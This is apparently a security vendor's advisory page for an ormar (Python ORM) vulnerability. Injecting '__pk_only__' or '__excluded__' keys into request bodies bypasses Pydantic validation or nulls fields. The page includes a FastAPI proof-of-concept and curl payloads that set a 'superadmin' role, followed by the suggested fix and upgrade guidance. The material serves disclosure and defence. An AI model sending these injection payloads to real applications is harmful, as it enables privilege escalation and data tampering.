Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-f964-whrq-44h8 — ormar

HIGHFix: ormar-orm/ormar@7f22aa2

GHSA-f964-whrq-44h8 is a high-severity (CVSS 7.1) Improper Input Validation vulnerability in ormar. A fix is available for ormar — see the affected versions and patch details below.

ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor

Also known asCVE-2026-27953PYSEC-2026-2247
Published
Mar 19, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-f964-whrq-44h8.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-f964-whrq-44h8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍ormar

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation — type checks, constraints, @field_validator/@model_validator decorators, choices enforcement, and required-field checks — by injecting "__pk_only__": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.

A secondary __excluded__ parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.

Details

Root cause: NewBaseModel.__init__ (ormar/models/newbasemodel.py, line 128) pops __pk_only__ directly from user-supplied **kwargs before any validation occurs:

# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False)      # ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)

new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)

if not pk_only:
    # Normal path: full Pydantic validation
    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
    self.__pydantic_validator__.validate_python(
        new_kwargs, self_instance=self
    )
else:
    # Bypass path: NO validation at all
    fields_set = {self.ormar_config.pkname}
    values = new_kwargs
    object.__setattr__(self, "__dict__", values)       # raw dict written directly
    object.__setattr__(self, "__pydantic_fields_set__", fields_set)

The __pk_only__ flag was designed as an internal optimization for creating lightweight FK placeholder instances in ormar/fields/foreign_key.py (lines 41, 527). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.

Why the canonical FastAPI + ormar pattern is vulnerable:

Ormar's official example (examples/fastapi_quick_start.py, lines 55-58) recommends using ormar models directly as FastAPI request body parameters:

@app.post("/items/", response_model=Item)
async def create_item(item: Item):
    await item.save()
    return item

FastAPI parses the JSON body and calls TypeAdapter.validate_python(body_dict), which triggers ormar's __init__. The __pk_only__ key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it — even extra='forbid' would not prevent this, because the key is already consumed by ormar.

The ormar Pydantic model_config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.

What is bypassed when __pk_only__=True:

  • All type coercion and type checking (e.g., string for int field)
  • max_length constraints on String fields
  • choices constraints
  • All @field_validator and @model_validator decorators
  • nullable=False enforcement at the Pydantic level
  • Required-field enforcement (only pkname is put in fields_set)
  • serialize_nested_models_json_fields() preprocessing

Save path persists unvalidated data to the database:

After construction with pk_only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self.__dict__ via _extract_model_db_fields(), then executes table.insert().values(**self_fields) — persisting the unvalidated data to the database with no re-validation.

Secondary vulnerability — __excluded__ injection:

The same pattern applies to __excluded__ at ormar/models/newbasemodel.py, line 292:

excluded: set[str] = kwargs.pop("__excluded__", set())

At lines 326-329, fields listed in __excluded__ are silently set to None:

for field_to_nullify in excluded:
    new_kwargs[field_to_nullify] = None

An attacker can inject "__excluded__": ["email", "password_hash"] to nullify arbitrary fields during construction.

Affected entry points:

Entry PointExploitable?
async def create_item(item: Item) (FastAPI route)Yes
Model.objects.create(**user_dict)Yes
Model(**user_dict)Yes
Model.model_validate(user_dict)Yes

PoC

Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:

# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar

DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
    database=ormar.DatabaseConnection(DATABASE_URL),
    metadata=sqlalchemy.MetaData(),
)

@asynccontextmanager
async def lifespan(app: FastAPI):
    database_ = app.state.database
    if not database_.is_connected:
        await database_.connect()
    # Create tables
    engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
    ormar_base_config.metadata.create_all(engine)
    engine.dispose()
    yield
    database_ = app.state.database
    if database_.is_connected:
        await database_.disconnect()

app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database

class User(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="users")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=50)
    email: str = ormar.String(max_length=100)
    role: str = ormar.String(max_length=20, default="user")
    balance: int = ormar.Integer(default=0)

# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
    await user.save()
    return user

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)

Step 2: Send a normal request (validation works correctly):

# This correctly rejects — "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "email": "[email protected]"
  }'
# Returns: 422 Validation Error

Step 3: Inject __pk_only__ to bypass ALL validation:

curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__pk_only__": true,
    "name": "",
    "email": "not-an-email",
    "role": "superadmin",
    "balance": -99999
  }'
# Returns: 200 OK — all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)

Step 4: Inject __excluded__ to nullify arbitrary fields:

curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__excluded__": ["email", "role"],
    "name": "attacker",
    "email": "[email protected]",
    "role": "will-be-nullified"
  }'
# Returns: 200 OK — email and role are set to NULL regardless of input

Impact

Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.

Vulnerability type: Complete Pydantic validation bypass.

Impact scenarios:

  • Privilege escalation: If a model has a role or is_admin field with a Pydantic validator restricting values to "user", an attacker can set role="superadmin" by bypassing the validator
  • Data integrity violation: Type constraints (max_length, ge/le, regex patterns) are all bypassed — invalid data is persisted to the database
  • Business logic bypass: Custom @field_validator and @model_validator decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
  • Field nullification (via __excluded__): Audit fields, tracking fields, or required business fields can be selectively set to NULL

Suggested fix:

Replace kwargs.pop("__pk_only__", False) with a keyword-only parameter that cannot be injected via **kwargs:

# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
    ...
    pk_only = kwargs.pop("__pk_only__", False)

# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
    ...
    object.__setattr__(self, "__pk_only__", _pk_only)

Apply the same fix to __excluded__:

# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())

# After (secure) — pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
    ...
    # In _process_kwargs:
    excludes = _excluded or set()

Internal callers in foreign_key.py would pass _pk_only=True as a named argument. Keyword-only parameters prefixed with _ cannot be injected via JSON body deserialization or Model(**user_dict) unpacking.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIormarall versions0.23.1pip install --upgrade 'ormar==0.23.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ormar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ormar to 0.23.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f964-whrq-44h8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-f964-whrq-44h8 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-f964-whrq-44h8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip **all** field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `"__pk_only__": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar's official documentation and examples. A secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbit
O3 Security · Impact-Aware SCA

Is GHSA-f964-whrq-44h8 in your dependencies?

O3 Security finds GHSA-f964-whrq-44h8 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-f964-whrq-44h8: ormar (High 7.1) | O3 Security